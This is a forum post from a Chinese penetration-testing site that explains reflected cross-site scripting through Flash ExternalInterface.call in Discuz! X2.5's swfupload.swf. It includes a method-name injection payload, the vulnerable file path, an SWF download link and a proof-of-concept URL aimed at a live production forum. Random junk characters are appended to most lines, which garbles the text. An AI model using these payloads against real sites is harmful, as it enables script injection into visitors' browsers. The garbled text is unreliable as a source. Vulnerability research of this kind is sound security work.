中国网络渗透测试联盟

标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站 [打印本页]

作者: admin    时间: 2013-2-23 12:50
标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说2 l6 S- u3 g  n; a" }4 B7 q
+ g4 P& L7 r. s& N/ w- {) i
flash.external.ExternalInterface.call($methodName, $parameter)/ y( D) [' n! V# j
在浏览器中执行的是
) U: a# f% G6 c: t4 Q8 }! N
/ k* z/ k- y# ^! [/ j2 X' ttry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}( p/ B2 |3 j% [! M% j+ K
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
# X% ?0 C# y% _' m
! M: ?" H2 o. ~4 X7 gflash.external.ExternalInterface.call("object."+$methodName, $parameter): B* l8 ^% T# _4 }
$methodName = a())}catch(e){alert(/xss/)}//
5 ^/ o- }5 j% v/ p3 b. O结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。% [2 Q. `$ J1 ]3 n2 O
# ^7 K5 b, n% [* v" w
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
( f/ t( Y2 E# w2 U
' Y2 i# U8 M0 f0 @& x+ N6 Z这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
; b  U4 [/ d% J+ M0 w- L; J杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。: w% J7 H9 D- q* x  t
1 }: j" L* z0 J, m, E& b
2 J5 \7 ], @4 L
4 x7 x; e: I4 h+ k, g/ i
漏洞文件:upload\static\image\common\swfupload.swf
+ A; h! G8 l: \1 J' ~: f
6 y/ S8 {, X( p. S% [/ Q. T原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf, z! y$ O% W  o8 [2 U( p9 Z
& u; m) l( _6 E' F
9 U, c3 e  |: U
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//7 G) Y/ H3 A* J
3 g' t: q& d7 d- {/ k) h
1 C( H& K/ l0 U# x





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2